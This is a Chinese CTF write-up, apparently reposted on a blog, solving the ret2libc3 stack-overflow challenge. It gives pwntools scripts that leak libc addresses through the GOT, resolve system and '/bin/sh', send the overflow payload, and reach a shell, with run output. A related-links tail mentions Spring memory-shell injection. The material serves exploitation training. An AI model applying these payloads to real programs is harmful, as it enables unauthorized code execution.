# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + p32(0xdeadbeaf) + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'\x0f\x0b\x0f\x0b' + p32(sh_addr) # 正确写法
# payload2 = b'A'*108 + b'BBBB' + p32(system_addr) + b'1234' + p32(sh_addr) # 正确写法
print("payload2: ", payload2)
# 发送构建好的 payload2 到程序,触发第二阶段的漏洞利用,旨在获取系统 Shell。
io.sendlineafter('!?',payload2)
# 与程序进行交互,获取系统 Shell,进入交互式命令模式。
io.interactive()"""                                                            
┌──(root㉿kali)-[~/ctfwiki/ret2libc3]
└─# python exp2.py
[+] Starting local process './ret2libc3': pid 21841
[*] '/root/ctfwiki/ret2libc3/ret2libc3'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
=== 通过泄露 setvbuf 函数的地址 ===
puts_plt:  134513760
hex(puts_plt):  0x8048460
setvbuf_got:  134520872
hex(setvbuf_got):  0x804a028
start_addr:  134513872
hex(start_addr):  0x80484d0
payload1:  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`\x84\x04\x08\xd0\x84\x04\x08(\xa0\x04\x08'
/usr/local/lib/python3.11/dist-packages/pwnlib/tubes/tube.py:840: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytesres = self.recvuntil(delim, timeout=timeout)
setvbuf_addr_raw:  b'\x80:\xc7\xf7'
setvbuf_addr:  4157028992
hex(setvbuf_addr):  0xf7c73a80
=== 计算libc的基址,然后获取 system 函数地址和 /bin/sh 字符串地址 ===
[+] There are multiple libc that meet current constraints :
0 - libc6-amd64_2.31-0ubuntu9.4_i386
1 - libc6_2.3.2.ds1-13ubuntu2.3_amd64
2 - libc6_2.37-5_i386
3 - libc-2.33.9000-40.fc35.i686
4 - libc6_2.11.1-0ubuntu7.14_i386
5 - libc-2.33.9000-42.fc35.i686
6 - libc6-amd64_2.31-0ubuntu9.5_i386
7 - libc6_2.3.2.ds1-13ubuntu2.2_amd64
8 - libc6_2.37-6_i386
9 - libc-2.33.9000-43.fc35.i686
[+] Choose one : 2
hex(base):  0xf7c00000
hex(system_addr):  0xf7c4c8a0
hex(bin_addr):  0xf7db5fc8
payload2:  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xc8\xc4\xf7\xd2\x04\x00\x00\xc8_\xdb\xf7'
[*] Switching to interactive mode
$ ls
core  exp2.py  exp33.py  exp-clean.py  exp.py  ret2libc3
$  
"""

image.png

可以看到有很多个libc版本,可以1个1个的试(因为程序为32位的,所以可以选择性的把64位的去掉)
另外一个办法就是查看libc-database,找到可用的libc,直接选择对应的libc序号即可

image.png

exp3:利用__libc_start_main泄露

官方的题解,没有跑出来

#!/usr/bin/env python"""
基本利用思路如下:
1)泄露 __libc_start_main 地址
2)获取 libc 版本
3)获取 system 地址与 /bin/sh 的地址
4)再次执行源程序
5)触发栈溢出执行 system(‘/bin/sh’)1)详细介绍:
a. 当你将puts函数的地址放在栈上,然后通过控制程序流使其执行puts函数,程序会跳转到puts函数的代码,开始执行它。而puts函数通常用于将一个以null结尾的字符串输出到标准输出(终端)。
b. 在这种情况下,你将__libc_start_main的GOT(Global Offset Table,全局偏移表)地址作为参数传递给了puts函数。这个GOT表是一个特殊的数据结构,包含了程序中需要调用的外部库函数的地址。其中,__libc_start_main函数在程序启动时被调用,因此GOT表中存储了对该函数的引用。
c. 当puts函数被执行时,它会根据传递的地址从GOT表中读取数据,然后将这些数据输出到终端。由于你传递的是__libc_start_main的GOT表地址,puts函数实际上会输出__libc_start_main函数的地址。"""
from pwn import *
from LibcSearcher import LibcSearchersh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
# context(os="linux", log_level='debug')puts_plt = ret2libc3.plt['puts']
libc_start_main_plt = ret2libc3.plt['__libc_start_main']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print("hex(puts_plt): ", hex(puts_plt))
print("hex(libc_start_main_got): ", hex(libc_start_main_got))
print("hex(libc_start_main_plt): ", hex(libc_start_main_plt))
print("hex(main): ", hex(main))print("leak libc_start_main_got addr and return to main again")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
# sh.sendlineafter('Can you find it !?', payload)
sh.sendlineafter('!?', payload)print("get the related addr")
libc_start_main_addr_raw = sh.recv(4)
libc_start_main_addr = u32(libc_start_main_addr_raw) 
print("libc_start_main_addr_raw: ", libc_start_main_addr_raw)
print("libc_start_main_addr: ", libc_start_main_addr)
print("hex(libc_start_main_addr): ", hex(libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print("hex(libcbase): ", hex(libcbase))
print("hex(system_addr): ", hex(system_addr))
print("hex(binsh_addr): ", hex(binsh_addr))print("get shell")
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)sh.interactive()

image.png

参考

# CTFWIKI-PWN-ret2libc 讲的非常详细
# pwn学习之ret2libc3——偏移计算初体验 学习了部分技能
# 2019.7.25 ret2libc3 填充从112遍为104 学到了可以用setvbuf进行泄露

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/61078.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CNN 02(CNN原理)

一、卷积神经网络(CNN)原理 1.1 卷积神经网络的组成 定义 卷积神经网络由一个或多个卷积层、池化层以及全连接层等组成。与其他深度学习结构相比&#xff0c;卷积神经网络在图像等方面能够给出更好的结果。这一模型也可以使用反向传播算法进行训练。相比较其他浅层或深度神经…

Mysql-InnoDB记录结构

一、InnoDB简介 InnoDB 采取的方式是&#xff1a;将数据划分为若干个页&#xff0c;以页作为磁盘和内存之间交互的基本单位&#xff0c;InnoDB中页的大小一般为 16 KB。也就是在一般情况下&#xff0c;一次最少从磁盘中读取16KB的内容到内存中&#xff0c;一次最少把内存中的1…

编程题四大算法思想(二)——回溯法:N皇后问题、子集和问题、地图填色问题、迷宫问题

文章目录 回溯法迷宫游戏 N皇后问题基本概念解空间4后问题的解空间 可行解和最优解回溯法回溯法术语回溯法的关键问题回溯法的基本思想4后问题的约束条件n后问题生成问题状态的基本方法 子集和问题一个朴素的求解方法回溯回溯法的剪枝技术 地图填色问题 回溯法 迷宫游戏 深度优…

使用 Python编程: 下载 YouTube 音频的桌面应用程序

最近我开发了一个使用 Python 编写的桌面应用程序&#xff0c;可以方便地下载 YouTube 音频。该应用程序使用了 wxPython、yt_dlp 和 tqdm 库&#xff0c;提供了一个简单直观的用户界面&#xff0c;并具备高效的下载功能。 C:\pythoncode\new\youtube-dl-audio.py 程序介绍 …

为了他的鸟,做件很叛逆很酷的事儿

有种鸟儿&#xff0c;叫隐鹮&#xff08;Geronticus eremita&#xff09;&#xff0c;大小如鹅&#xff0c;头部光秃&#xff0c;嘴巴巨大&#xff0c;一个字&#xff0c;丑。可是&#xff0c;它还有一个特点&#xff0c;面临濒危。 为了能在欧洲冬季存活&#xff0c;这种鸟儿需…

webassembly003 ggml GGML Tensor Library part-2 官方使用说明

https://github.com/ggerganov/whisper.cpp/tree/1.0.3 GGML Tensor Library 官方有一个函数使用说明&#xff0c;但是从初始版本就没修改过 : https://github1s.com/ggerganov/ggml/blob/master/include/ggml/ggml.h#L3-L173 This documentation is still a work in progres…

安达发|富士康科技集团利用自动排程APS软件打造智慧工厂

富士康科技集团作为全球领先的3C产品研发制造企业&#xff0c;近年来积极布局智能制造领域&#xff0c;通过引入先进的自动化排程系统(APS),成功打造了智慧工厂&#xff0c;提高了生产质量与效率&#xff0c;降低了生产成本。 富士康集团自2019年下半年提出在观澜厂区建立数字可…

C++ list模拟实现

list模拟实现代码&#xff1a; namespace djx {template<class T>struct list_node{T _data;list_node<T>* _prev;list_node<T>* _next;list_node(const T& x T()):_data(x),_prev(nullptr),_next(nullptr){}};template<class T,class Ref,class Pt…

Linux 云服务器挂载数据盘

1、检查linux服务器磁盘情况 df -h 可以看到无磁盘挂载信息。 2、查看待挂载磁盘信息 fdisk -l 可以看到40G系统盘、50G数据盘&#xff08;盘符&#xff1a;/dev/vdb&#xff09; 3、对数据盘分区 fdisk /dev/vdb 根据提示&#xff0c;依次输入“n”&#xff0c;“p”“1…

今日举办亚马逊云科技re:Inforce大会:结合生成式AI安全最新趋势,解决企业新挑战

2023年&#xff0c;生成式AI带来了无数的创新&#xff0c;并将会在行业应用中产生更多的新能力、新场景。与此同时&#xff0c;关于生成式AI的风险管控成为各方关注焦点&#xff0c;数据隐私、合规保护、防欺诈等&#xff0c;已成为生成式AI时代的安全合规的新话题。 随着云上业…

Java【手撕滑动窗口】LeetCode 3. “无重复字符的最长子串“, 图文详解思路分析 + 代码

文章目录 前言一、长度最小子数组1, 题目2, 思路分析3, 代码 前言 各位读者好, 我是小陈, 这是我的个人主页, 希望我的专栏能够帮助到你: &#x1f4d5; JavaSE基础: 基础语法, 类和对象, 封装继承多态, 接口, 综合小练习图书管理系统等 &#x1f4d7; Java数据结构: 顺序表, 链…

Nacos配置管理

统一配置管理 当微服务部署的实例越来越多&#xff0c;达到数十、数百时&#xff0c;逐个修改微服务配置就会让人抓狂&#xff0c;而且很容易出错。我们需要一种统一配置管理方案&#xff0c;可以集中管理所有实例的配置。 Nacos一方面可以将配置集中管理&#xff0c;另一方可…

Python钢筋混凝土结构计算.pdf-已知弯矩确定混凝土梁截面尺寸

计算原理 确定混凝土梁截面的合理尺寸通常需要考虑弯矩、受力要求和约束条件等多个因素。以下是一种常见的计算公式&#xff0c;用于基于已知弯矩确定混凝土梁截面的合理尺寸&#xff1a; 请注意&#xff0c;以上公式仅提供了一种常见的计算方法&#xff0c;并且具体的规范和设…

Python 实战之ChatGPT + Python 实现全自动数据处理/可视化详解

本文目录 一、引言 二、成果演示——口述式数据可视化 三、远原理述 四、实现过程 &#xff08;一&#xff09;环境配置 &#xff08;二&#xff09;申请OpenAI账号 &#xff08;一&#xff09;调用ChatGPT API &#xff08;二&#xff09;设计AI身份&#xff0c;全自动处理数据…

【附安装包】Multisim 14.0安装教程|电子电路

软件下载 软件&#xff1a;Multisim版本&#xff1a;14.0语言&#xff1a;简体中文大小&#xff1a;649.68M安装环境&#xff1a;Win11/Win10/Win8/Win7硬件要求&#xff1a;CPU2.5GHz 内存4G(或更高&#xff09;下载通道①百度网盘丨64位下载链接&#xff1a;https://pan.bai…

OJ练习第154题——到家的最少跳跃次数

到家的最少跳跃次数 力扣链接&#xff1a;1654. 到家的最少跳跃次数 题目描述 有一只跳蚤的家在数轴上的位置 x 处。请你帮助它从位置 0 出发&#xff0c;到达它的家。 跳蚤跳跃的规则如下&#xff1a; 它可以 往前 跳恰好 a 个位置&#xff08;即往右跳&#xff09;。 它…

【Linux】进程概念

文章目录 一.进程1.概念2.描述进程——pcb3.pcb&#xff08;task_struct&#xff09;内容分类4.查看进程&#xff08;1&#xff09;通过系统调用查看&#xff08;2&#xff09;通过ps命令查看 二.通过系统调用获取进程的PID和PPID三.通过系统调用创建子进程fork()1.fork函数创建…

小游戏分发平台如何以技术拓流?

2023年&#xff0c;小游戏的发展将受到多方面的影响&#xff0c;例如新技术的引入、参与小游戏的新玩家以及游戏市场的激烈竞争等。首先&#xff0c;新技术如虚拟现实&#xff08;VR&#xff09;、增强现实&#xff08;AR&#xff09;和机器人技术都可以带来新颖的游戏体验。其…

spring打入filter内存马+冰蝎成功

环境&#xff1a; springboot版本2.4.5 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.4.5</version><relativePath/> <!-- lookup parent from r…